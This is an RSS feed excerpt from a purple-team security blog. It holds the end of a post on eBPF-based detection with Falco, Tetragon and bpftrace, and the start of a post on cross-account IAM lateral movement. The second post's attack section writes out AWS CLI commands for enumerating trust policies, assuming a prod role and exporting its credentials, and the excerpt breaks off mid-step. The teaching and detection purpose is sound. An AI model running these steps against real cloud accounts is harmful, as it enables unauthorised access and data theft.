#include &lt;linux/mount.h&gt;

kprobe:__x64_sys_mount {
  $nsproxy = (struct nsproxy *)curtask-&gt;nsproxy;
  $mnt_ns_id = $nsproxy-&gt;mnt_ns-&gt;ns.inum;
  printf(&quot;mount: pid=%-6d comm=%-20s mnt_ns=%u\n&quot;,
         pid, comm, $mnt_ns_id);
}
&#039; 2&gt;/dev/null
</code></pre>
<p>Compare the <code class="" data-line="">mnt_ns</code> value in output against <code class="" data-line="">$HOST_MNT_NS</code>. Any mount call with a <code class="" data-line="">mnt_ns</code> value other than the host&#8217;s is from inside a container. A privileged container attempting host filesystem access shows a container namespace ID.</p>
<hr />
<h2 id="building-a-detection-pipeline">Building a Detection Pipeline</h2>
<p>Ad-hoc bpftrace commands answer questions during an incident. Always-on detection requires a pipeline that runs continuously, routes alerts to a durable destination, and survives pod restarts. The two production-grade options in this stack:</p>
<pre><code class="" data-line="">eBPF hooks
    │
    ├── Tetragon (always-on, Kubernetes-native)
    │       └── TracingPolicy CRDs
    │               └── JSON events → Hubble → Grafana
    │                               → SIEM (Splunk/Elastic)
    │                               → PagerDuty
    │
    └── Falco (rule-based, declarative)
            └── /etc/falco/rules.d/*.yaml
                    └── falcosidekick
                            ├── Slack
                            ├── PagerDuty
                            ├── Elasticsearch
                            └── AWS Lambda (custom response)
</code></pre>
<p>The <a href="/ebpf-tc-pod-policy/">TC eBPF pod-level network policy</a> post covers how Cilium and Tetragon share the same underlying kernel attachment points — understanding TC hooks helps explain why Tetragon&#8217;s network-level policies fire at the same layer as Cilium&#8217;s NetworkPolicy enforcement.</p>
<h3 id="falco-with-falcosidekick-complete-local-testing-setup">Falco with falcosidekick: complete local testing setup</h3>
<p>Use this to validate your Falco rules before deploying to a cluster. It routes Falco alerts to Slack in real time.</p>
<pre><code class="" data-line=""># docker-compose.yml — local Falco + falcosidekick testing
# Requires: Docker with kernel headers or eBPF driver support
version: &quot;3.8&quot;

services:
  falco:
    image: falcosecurity/falco-no-driver:latest
    privileged: true
    volumes:
      - /var/run/docker.sock:/host/var/run/docker.sock
      - /dev:/host/dev
      - /proc:/host/proc:ro
      - /boot:/host/boot:ro
      - /lib/modules:/host/lib/modules:ro
      - /usr:/host/usr:ro
      - /etc/falco:/etc/falco
      - ./rules:/etc/falco/rules.d:ro
    environment:
      FALCO_GRPC_ENABLED: &quot;true&quot;
      FALCO_GRPC_BIND_ADDRESS: &quot;0.0.0.0:5060&quot;
    ports:
      - &quot;5060:5060&quot;
    command: &gt;
      /usr/bin/falco
        --modern-bpf
        -o &quot;json_output=true&quot;
        -o &quot;grpc.enabled=true&quot;
        -o &quot;grpc_output.enabled=true&quot;

  falcosidekick:
    image: falcosecurity/falcosidekick:latest
    depends_on:
      - falco
    environment:
      FALCO_GRPC_CONN: &quot;falco:5060&quot;
      FALCO_GRPC_TLS: &quot;false&quot;
      SLACK_WEBHOOKURL: &quot;${SLACK_WEBHOOK}&quot;
      SLACK_MINIMUMPRIORITY: &quot;warning&quot;
      SLACK_MESSAGEFORMAT: &gt;
        &quot;[{{.Priority}}] {{.Rule}}
        | pod={{.OutputFields.k8s_pod_name}}
        | ns={{.OutputFields.k8s_ns_name}}
        | cmd={{.OutputFields.proc_cmdline}}&quot;
    ports:
      - &quot;2801:2801&quot;
</code></pre>
<pre><code class="" data-line=""># Start the stack (set SLACK_WEBHOOK first)
export SLACK_WEBHOOK=&quot;https://hooks.slack.com/services/YOUR/WEBHOOK/URL&quot;
docker compose up -d

# Trigger a test alert: exec into any running container
docker exec -it &lt;any-container&gt; /bin/sh

# Check falcosidekick received it
curl -s http://localhost:2801/metrics | grep falcosidekick_inputs_total
</code></pre>
<h3 id="deploying-falco-to-kubernetes-with-helm">Deploying Falco to Kubernetes with Helm</h3>
<pre><code class="" data-line=""># Add Falco Helm repo
helm repo add falcosecurity https://falcosecurity.github.io/charts
helm repo update

# Install Falco with eBPF driver (not kernel module — required in Kubernetes)
helm install falco falcosecurity/falco \
  --namespace falco \
  --create-namespace \
  --set driver.kind=modern_ebpf \
  --set falcosidekick.enabled=true \
  --set falcosidekick.config.slack.webhookurl=&quot;${SLACK_WEBHOOK}&quot; \
  --set falcosidekick.config.slack.minimumpriority=warning \
  --set customRules.&quot;purple-team\.yaml&quot;=&quot;$(cat ./rules/purple-team.yaml)&quot;

# Verify Falco pods are running on all nodes
kubectl get pods -n falco -o wide

# Tail Falco logs for a specific node&#039;s pod
kubectl logs -n falco -l app.kubernetes.io/name=falco -f
</code></pre>
<pre><code class="" data-line=""># Validate a specific rule is loaded
kubectl exec -n falco &lt;falco-pod&gt; -- falco --list-rules 2&gt;/dev/null | grep &quot;Shell Spawned&quot;
</code></pre>
<hr />
<h2 id="what-this-means-for-each-prior-attack">What This Means for Each Prior Attack</h2>
<p>Every attack in EP07 through EP10 had a detectable kernel-level signal that the standard telemetry stack missed. Here&#8217;s the detection mapping:</p>
<table>
<thead>
<tr>
<th>Episode</th>
<th>Attack</th>
<th>What Standard Telemetry Missed</th>
<th>eBPF Detection Signal</th>
</tr>
</thead>
<tbody>
<tr>
<td>EP07</td>
<td>SSRF to EC2 IMDS</td>
<td>CloudTrail: nothing. VPC Flow Logs: 169.254.169.254 destination, 15-min delay, no PID</td>
<td>TC kprobe: <code class="" data-line="">connect()</code> to <code class="" data-line="">169.254.169.254</code> from app process — PID, comm, container, real-time</td>
</tr>
<tr>
<td>EP08</td>
<td>Container escape via privileged mount</td>
<td>CloudTrail: nothing. Syslog: nothing</td>
<td>kprobe: <code class="" data-line="">security_sb_mount()</code> from non-host mount namespace — namespace ID mismatch fires alert</td>
</tr>
<tr>
<td>EP09</td>
<td>Supply chain implant execution</td>
<td>CloudTrail: nothing (OS-level). GuardDuty: maybe if beacon calls AWS APIs</td>
<td>kprobe: <code class="" data-line="">execve()</code> with anomalous parent chain — web process → shell → unknown binary from <code class="" data-line="">/tmp</code></td>
</tr>
<tr>
<td>EP10</td>
<td>Lateral movement via cross-account role chaining</td>
<td>CloudTrail: AssumeRole events present but no process context</td>
<td>TC hook: <code class="" data-line="">connect()</code> to <code class="" data-line="">sts.amazonaws.com</code> from Lambda handler process — unexpected process identity</td>
</tr>
</tbody>
</table>
<p>The table is not theoretical. It reflects what you would actually observe running these detection rules against the attack simulations in those episodes.</p>
<p>For the SSRF case (EP07): the connection to <code class="" data-line="">169.254.169.254</code> from the web application process would fire within milliseconds of the exploit. VPC Flow Logs would record the same IP 10–15 minutes later, with no information about which process made it. By the time the flow log is queryable, the attacker has the IAM credentials and may have made subsequent API calls in a different region.</p>
<p>For the container escape (EP08): the <code class="" data-line="">mount()</code> from a non-host mount namespace is the earliest detectable signal of the escape attempt. It fires before the attacker has host filesystem access. With <code class="" data-line="">action: Sigkill</code> in the Tetragon policy, the process is terminated at this syscall — the escape does not complete.</p>
<hr />
<h2 id="production-gotchas"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Production Gotchas</h2>
<p><strong>Use the eBPF driver for Falco in Kubernetes, not the kernel module.</strong> The kernel module requires installing a kernel module on every node, which creates a dependency on kernel headers being present and compatible. The <code class="" data-line="">modern_ebpf</code> driver (Falco 0.35+) uses BTF and CO-RE — it works on kernels 5.8+ without kernel module installation and survives kernel upgrades. In managed Kubernetes (EKS, GKE, AKS), the kernel module path often doesn&#8217;t work at all due to the OS image restrictions.</p>
<p><strong>Test Tetragon&#8217;s <code class="" data-line="">Sigkill</code> action exhaustively before enabling it in production.</strong> The <code class="" data-line="">Sigkill</code> action terminates the process at the moment of the violating syscall — before it completes. This is powerful for prevention but catastrophic if your exclusions are wrong. Common false positive sources: debug containers (<code class="" data-line="">kubectl debug</code>), init containers that perform legitimate mounts, Kubernetes admission webhooks calling shell scripts. Always deploy with <code class="" data-line="">action: Post</code> first, tune for two weeks of normal traffic, then switch to <code class="" data-line="">Sigkill</code> only on rules with zero false positives in your environment.</p>
<p><strong>bpftrace is an investigation tool, not a production detector.</strong> bpftrace compiles and loads an eBPF program per invocation — it has no persistence, no alerting, and no output routing to your SIEM. It is for the incident response scenario described in the opening: &#8220;did this process make outbound connections in the last 30 minutes?&#8221; (answered: it&#8217;s what&#8217;s happening right now). For always-on detection, use Tetragon or Falco. Running bpftrace as a daemon substitute introduces overhead without the management plane that production tools provide.</p>
<p><strong>The shell-in-container rule will fire on <code class="" data-line="">kubectl exec</code> sessions.</strong> Any time an operator runs <code class="" data-line="">kubectl exec -it &lt;pod&gt; -- /bin/bash</code>, the Falco rule above triggers. This is working as intended — <code class="" data-line="">kubectl exec</code> is a post-compromise technique as well as an operational tool. Handle this with an exclusion on the user identity or namespace:</p>
<pre><code class="" data-line=""># Add to the rule condition to exclude operator kubectl exec sessions
# Map your cluster admin users or service account here
and not user.name in (cluster-admin-users)
and not k8s.ns.name in (ops-tooling, debug-ns)
</code></pre>
<p><strong>High-frequency kprobes on hot paths add measurable overhead.</strong> Attaching to <code class="" data-line="">tcp_connect</code> fires on every outbound connection from every process on the node. On a node handling hundreds of microservices with high connection rates (service mesh with short-lived connections), this adds CPU overhead. Profile before deploying. Tetragon&#8217;s namespace-scoped selectors (<code class="" data-line="">matchNamespaces: NotHost</code>) help by skipping host-namespace processes. Filter as narrowly as your threat model allows.</p>
<p><strong>Ring buffer overflow silently drops events on high-throughput nodes.</strong> Both Falco and bpftrace use kernel ring buffers to pass events to userspace. If the userspace consumer (the Falco daemon, the bpftrace process) cannot keep up with the event rate, the kernel drops events silently. Falco exposes a <code class="" data-line="">falco_events_dropped_total</code> metric — monitor it. Tune <code class="" data-line="">ring_buffer_size</code> in the Falco configuration if drops occur on high-throughput nodes.</p>
<hr />
<h2 id="quick-reference">Quick Reference</h2>
<table>
<thead>
<tr>
<th>Use Case</th>
<th>Tool</th>
<th>Hook Type</th>
<th>Detection Latency</th>
</tr>
</thead>
<tbody>
<tr>
<td>Ad-hoc outbound connection investigation</td>
<td>bpftrace</td>
<td>tracepoint:syscalls:sys_enter_connect</td>
<td>Real-time</td>
</tr>
<tr>
<td>Always-on container shell detection</td>
<td>Falco</td>
<td>eBPF modern driver / syscall</td>
<td>&lt; 100ms</td>
</tr>
<tr>
<td>Container escape prevention</td>
<td>Tetragon + Sigkill</td>
<td>kprobe: security_sb_mount</td>
<td>Blocking (pre-completion)</td>
</tr>
<tr>
<td>Privilege escalation detection</td>
<td>Falco / bpftrace</td>
<td>tracepoint:syscalls:sys_enter_setuid</td>
<td>Real-time</td>
</tr>
<tr>
<td>Supply chain implant execution</td>
<td>Falco execve rule</td>
<td>eBPF modern driver</td>
<td>&lt; 100ms</td>
</tr>
<tr>
<td>SSRF-to-metadata detection</td>
<td>Tetragon kprobe</td>
<td>kprobe: tcp_connect</td>
<td>Real-time</td>
</tr>
<tr>
<td>Lateral movement via unexpected STS call</td>
<td>Tetragon kprobe</td>
<td>kprobe: tcp_connect + process filter</td>
<td>Real-time</td>
</tr>
<tr>
<td>Audit trail for incident response</td>
<td>Tetragon JSON events</td>
<td>kprobe / tracepoint</td>
<td>Persistent, SIEM-routable</td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr>
<th>Tool</th>
<th>Best For</th>
<th>Not For</th>
</tr>
</thead>
<tbody>
<tr>
<td>bpftrace</td>
<td>Ad-hoc node investigation during IR</td>
<td>Always-on production detection</td>
</tr>
<tr>
<td>Falco</td>
<td>Rule-based behavioral detection</td>
<td>Network-layer enforcement</td>
</tr>
<tr>
<td>Tetragon</td>
<td>Always-on detection + optional enforcement</td>
<td>Ad-hoc one-liner investigation</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li><strong>Detection engineering with eBPF</strong> closes the telemetry gap that CloudTrail, VPC Flow Logs, and syslog cannot close: OS-level process activity is only visible at the kernel syscall layer, and eBPF is the only production-grade mechanism that reads it without kernel module risk</li>
<li>Every attack in EP07 through EP10 has a real-time kernel-level signal — SSRF connections, container mount calls, unexpected execve chains, privilege escalation attempts — none of which appear in your current SIEM unless you&#8217;ve built this layer</li>
<li>Falco provides declarative, rule-based behavioral detection; Tetragon provides syscall-level enforcement that can terminate an attack before it completes — use both with complementary scopes</li>
<li>bpftrace is the incident response tool for asking the kernel a direct question right now; it is not a monitoring agent and should not be treated as one</li>
<li>The false positive problem is real and must be addressed before enabling enforcement: <code class="" data-line="">kubectl exec</code>, debug containers, init containers with legitimate mounts — exclusions must be tuned per environment before moving from <code class="" data-line="">action: Post</code> to <code class="" data-line="">action: Sigkill</code></li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>EP11 closed the detection gap. You&#8217;ve instrumented the kernel, you&#8217;re receiving Falco alerts, Tetragon is firing on namespace-crossing mount attempts. Then the alert fires at 2:47 AM on a Sunday — not a test, not a false positive. Something got in.</p>
<p>EP12 is the playbook for the first 24 hours after a confirmed cloud breach: what to isolate and how without destroying forensic evidence, what to preserve before it rotates out of CloudTrail&#8217;s 90-day window, what eBPF data to capture while the node is still live, who to call and in what order, and how to avoid the common mistakes that turn a containable incident into a regulatory event. The response phase — where everything you built in EP04 through EP11 either pays off or reveals what you missed.</p>
<p>Get EP12 in your inbox when it publishes → <a href="#subscribe">subscribe at linuxcent.com</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fdetection-engineering-ebpf-cloud%2F&amp;linkname=Detection%20Engineering%20with%20eBPF%3A%20Kernel-Level%20Visibility%20for%20Cloud%20Incidents" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fdetection-engineering-ebpf-cloud%2F&amp;linkname=Detection%20Engineering%20with%20eBPF%3A%20Kernel-Level%20Visibility%20for%20Cloud%20Incidents" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fdetection-engineering-ebpf-cloud%2F&amp;linkname=Detection%20Engineering%20with%20eBPF%3A%20Kernel-Level%20Visibility%20for%20Cloud%20Incidents" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fdetection-engineering-ebpf-cloud%2F&amp;linkname=Detection%20Engineering%20with%20eBPF%3A%20Kernel-Level%20Visibility%20for%20Cloud%20Incidents" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fdetection-engineering-ebpf-cloud%2F&amp;linkname=Detection%20Engineering%20with%20eBPF%3A%20Kernel-Level%20Visibility%20for%20Cloud%20Incidents" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fdetection-engineering-ebpf-cloud%2F&amp;linkname=Detection%20Engineering%20with%20eBPF%3A%20Kernel-Level%20Visibility%20for%20Cloud%20Incidents" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fdetection-engineering-ebpf-cloud%2F&amp;linkname=Detection%20Engineering%20with%20eBPF%3A%20Kernel-Level%20Visibility%20for%20Cloud%20Incidents" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fdetection-engineering-ebpf-cloud%2F&#038;title=Detection%20Engineering%20with%20eBPF%3A%20Kernel-Level%20Visibility%20for%20Cloud%20Incidents" data-a2a-url="https://linuxcent.com/detection-engineering-ebpf-cloud/" data-a2a-title="Detection Engineering with eBPF: Kernel-Level Visibility for Cloud Incidents"></a></p><p>The post <a href="https://linuxcent.com/detection-engineering-ebpf-cloud/">Detection Engineering with eBPF: Kernel-Level Visibility for Cloud Incidents</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/detection-engineering-ebpf-cloud/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1873</post-id>	</item>
		<item>
		<title>Cloud Lateral Movement: Cross-Account IAM Role Chaining Explained</title>
		<link>https://linuxcent.com/cloud-lateral-movement-iam-role-chaining/</link>
					<comments>https://linuxcent.com/cloud-lateral-movement-iam-role-chaining/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Sat, 04 Jul 2026 02:00:00 +0000</pubDate>
				<category><![CDATA[Purple Team]]></category>
		<category><![CDATA[AWS]]></category>
		<category><![CDATA[Cloud Security]]></category>
		<category><![CDATA[Cross-Account]]></category>
		<category><![CDATA[IAM]]></category>
		<category><![CDATA[Lateral Movement]]></category>
		<category><![CDATA[OWASP]]></category>
		<guid isPermaLink="false">https://linuxcent.com/?p=1870</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 12</span> <span class="rt-label rt-postfix">minutes</span></span>Cloud lateral movement doesn't need network pivoting — it needs one overly-broad IAM trust policy. How cross-account role chaining works and how to detect it before data leaves.</p>
<p>The post <a href="https://linuxcent.com/cloud-lateral-movement-iam-role-chaining/">Cloud Lateral Movement: Cross-Account IAM Role Chaining Explained</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 12</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><a href="/what-is-purple-team-security/">What is purple team security?</a> → <a href="/owasp-top-10-cloud-infrastructure/">OWASP Top 10 mapped to cloud infrastructure</a> → <a href="/cloud-security-breaches-2020-2025/">Cloud security breaches 2020–2025</a> → <a href="/broken-access-control-aws/">Broken access control in AWS</a> → <a href="/mfa-fatigue-attack/">MFA fatigue attacks</a> → <a href="/cicd-secrets-exposure/">CI/CD secrets exposure</a> → <a href="/ssrf-cloud-metadata-capital-one-breach/">SSRF to cloud metadata</a> → <a href="/kubernetes-container-escape-attack-paths/">Kubernetes container escape</a> → <a href="/supply-chain-attack-solarwinds-xz-utils/">Supply chain attacks</a> → <strong>Cloud Lateral Movement</strong></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li><strong>Cloud lateral movement IAM</strong> is OWASP A01: attackers move between cloud accounts by exploiting cross-account IAM trust relationships — no network pivoting, no exploit, just a valid <code class="" data-line="">sts:AssumeRole</code> call</li>
<li>The structural vulnerability is a trust policy scoped too broadly — <code class="" data-line="">arn:aws:iam::DEV_ACCOUNT:root</code> instead of the specific Lambda execution role ARN — which lets any identity in the dev account assume the prod role</li>
<li>The full attack chain: compromised Lambda in dev account → enumerate cross-account trust policies → <code class="" data-line="">aws sts assume-role</code> into prod → access data lake S3 bucket → exfiltrate before detection fires</li>
<li>CloudTrail is the primary detection surface: <code class="" data-line="">AssumeRole</code> events where the principal account ID differs from the resource account ID are the signal; GuardDuty surfaces the pattern as <code class="" data-line="">Recon:IAMUser/UserPermissions</code></li>
<li>AWS Access Analyzer automatically flags overly-broad cross-account trust policies — it should be running in every account in your organization, not just the management account</li>
<li>The structural fix is three layers: scope trust policy to the specific source ARN, add <code class="" data-line="">ExternalId</code> for confused deputy protection, and use AWS Organizations SCPs to restrict cross-account role assumptions to approved account pairs only</li>
</ul>
<hr />
<blockquote>
<p><strong>OWASP Mapping:</strong> A01 Broken Access Control — cross-account IAM trust policies that specify an entire account root as the principal, instead of a specific role ARN, give any identity in the source account the ability to pivot into the target account.</p>
</blockquote>
<hr />
<h2 id="the-big-picture">The Big Picture</h2>
<pre><code class="" data-line="">┌─────────────────────────────────────────────────────────────────────┐
│               CROSS-ACCOUNT IAM LATERAL MOVEMENT                    │
│                                                                      │
│   DEV ACCOUNT (111111111111)                                         │
│   ┌────────────────────────────────────────────┐                    │
│   │  Lambda: api-processor                     │                    │
│   │  Execution Role: lambda-execution-role     │◄── COMPROMISED     │
│   │                                            │                    │
│   │  Attacker has: access key for this role    │                    │
│   └───────────────────┬────────────────────────┘                    │
│                        │                                             │
│                        │  sts:AssumeRole                             │
│                        │  (cross-account API call)                  │
│                        ▼                                             │
│   ┌─────────────────────────────────────────────┐                   │
│   │  TRUST POLICY CHECK (prod account role)     │                   │
│   │                                             │                   │
│   │  Principal: arn:aws:iam::111111111111:root  │                   │
│   │              ↑ TOO BROAD — any dev identity │                   │
│   └───────────────────┬─────────────────────────┘                   │
│                        │ ALLOW                                       │
│                        ▼                                             │
│   PROD ACCOUNT (222222222222)                                        │
│   ┌────────────────────────────────────────────┐                    │
│   │  Role: datalake-reader                     │                    │
│   │  Access: s3:GetObject on prod-datalake-*   │                    │
│   │          rds:Connect on prod-analytics-db  │                    │
│   │          secretsmanager:GetSecretValue      │                    │
│   └────────────────────┬───────────────────────┘                    │
│                         │                                            │
│                         ▼                                            │
│   customer-data.parquet, analytics schemas, DB credentials          │
│   ← exfiltrated in 23 minutes                                        │
└─────────────────────────────────────────────────────────────────────┘
</code></pre>
<p><strong>Cloud lateral movement IAM</strong> attacks succeed because the authentication step — the <code class="" data-line="">sts:AssumeRole</code> call — works exactly as designed. The Lambda&#8217;s identity is valid. The cross-account trust policy explicitly allows it. AWS faithfully issues the temporary credentials. The entire attack is indistinguishable from legitimate application behavior at the API level, which is why the trust policy is the only reliable prevention point.</p>
<hr />
<h2 id="the-incident-dev-lambda-to-prod-data-lake">The Incident: Dev Lambda to Prod Data Lake</h2>
<p>Post-breach analysis. The attacker didn&#8217;t find a zero-day. They found a GitHub repository.</p>
<p>A developer had committed an <code class="" data-line="">.env</code> file to a public repo containing <code class="" data-line="">AWS_ACCESS_KEY_ID</code> and <code class="" data-line="">AWS_SECRET_ACCESS_KEY</code> for a Lambda execution role in the dev account. GitHub&#8217;s secret scanning flagged it and notified the security team — but the notification arrived 58 minutes after the commit. By then, an automated credential scanner had already found it, validated the keys, and passed them to an attacker.</p>
<p>That 58-minute window is the entire story.</p>
<p>The Lambda&#8217;s execution role was scoped to the dev account, so initial triage assumed the blast radius was limited to dev. It wasn&#8217;t. A previous sprint had set up a cross-account trust relationship so the Lambda could read from the prod data lake during a data quality audit. The trust policy on the <code class="" data-line="">datalake-reader</code> role in prod read:</p>
<pre><code class="" data-line="">&quot;Principal&quot;: {&quot;AWS&quot;: &quot;arn:aws:iam::111111111111:root&quot;}
</code></pre>
<p>Not the Lambda&#8217;s specific execution role ARN. The entire dev account root. Any identity in the dev account — including the one the attacker now held — could assume <code class="" data-line="">datalake-reader</code> in prod.</p>
<p>The attacker enumerated cross-account roles from inside the compromised Lambda context, found the trust relationship, assumed the prod role, listed the data lake S3 bucket, and exfiltrated 14 GB of customer data parquet files before the first GuardDuty finding surfaced.</p>
<p>The revelation: <strong>cloud lateral movement doesn&#8217;t require network pivoting. It requires finding one IAM trust relationship that&#8217;s too broad.</strong></p>
<p>The compromise of the dev Lambda was recoverable — rotate credentials, remediate the repo, done. The cross-account trust policy turned it into a prod data breach.</p>
<hr />
<h2 id="red-phase-the-cross-account-attack-chain">Red Phase: The Cross-Account Attack Chain</h2>
<h3 id="step-1-enumerate-trust-policies-from-a-compromised-role">Step 1: Enumerate Trust Policies from a Compromised Role</h3>
<p>An attacker&#8217;s first move inside a cloud environment is always the same: establish who they are and what they can reach.</p>
<pre><code class="" data-line="">aws sts get-caller-identity
# Returns:
# {
#   &quot;UserId&quot;: &quot;AROAIOSFODNN7EXAMPLE:function-name&quot;,
#   &quot;Account&quot;: &quot;111111111111&quot;,
#   &quot;Arn&quot;: &quot;arn:aws:sts::111111111111:assumed-role/lambda-execution-role/function-name&quot;
# }

# List roles in the current account and their trust policies
# The trust policy (AssumeRolePolicyDocument) shows who can assume each role
aws iam list-roles \
  --query &#039;Roles[*].[RoleName,AssumeRolePolicyDocument]&#039; \
  --output json | \
  jq &#039;.[] | {
    role: .[0],
    principals: (.[1].Statement[].Principal.AWS // .[1].Statement[].Principal.Service)
  }&#039;
</code></pre>
<pre><code class="" data-line=""># More targeted: find roles that have cross-account trust relationships
# Look for principal ARNs from a different account ID
aws iam list-roles --output json | \
  jq --arg own_account &quot;111111111111&quot; \
  &#039;.Roles[] | 
    .AssumeRolePolicyDocument.Statement[] |
    select(.Principal.AWS? | 
      strings | 
      test($own_account) | not
    ) |
    {role: .Resource // &quot;check-parent&quot;, principal: .Principal}&#039;
</code></pre>
<pre><code class="" data-line=""># Simulate whether the current identity can assume a specific cross-account role
# This confirms the trust policy actually allows the assumption before trying it
aws iam simulate-principal-policy \
  --policy-source-arn arn:aws:iam::111111111111:role/lambda-execution-role \
  --action-names sts:AssumeRole \
  --resource-arns arn:aws:iam::222222222222:role/datalake-reader \
  --query &#039;EvaluationResults[0].EvalDecision&#039; \
  --output text
# Returns: allowed
</code></pre>
<h3 id="step-2-assume-the-cross-account-role">Step 2: Assume the Cross-Account Role</h3>
<pre><code class="" data-line=""># Assume the target role — this is the lateral movement step
aws sts assume-role \
  --role-arn arn:aws:iam::222222222222:role/datalake-reader \
  --role-session-name &quot;recon-$(date +%s)&quot; \
  --query &#039;Credentials&#039;
# Returns:
# {
#   &quot;AccessKeyId&quot;: &quot;ASIAIOSFODNN7EXAMPLE&quot;,
#   &quot;SecretAccessKey&quot;: &quot;wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY&quot;,
#   &quot;SessionToken&quot;: &quot;IQoJb3JpZ2luX2...(truncated)&quot;,
#   &quot;Expiration&quot;: &quot;2024-01-15T14:32:00Z&quot;
# }

# Export the credentials to use in subsequent commands
export AWS_ACCESS_KEY_ID=&quot;ASIAIOSFODNN7EXAMPLE&quot;
export AWS_SECRET_ACCESS_KEY=&quot;wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY&quot;
export AWS_SESSION_TOKEN=&quot;IQoJb3JpZ2luX2...&quot;

# Confirm the new identity — now operating in prod account context
aws sts get-caller-identity
# {
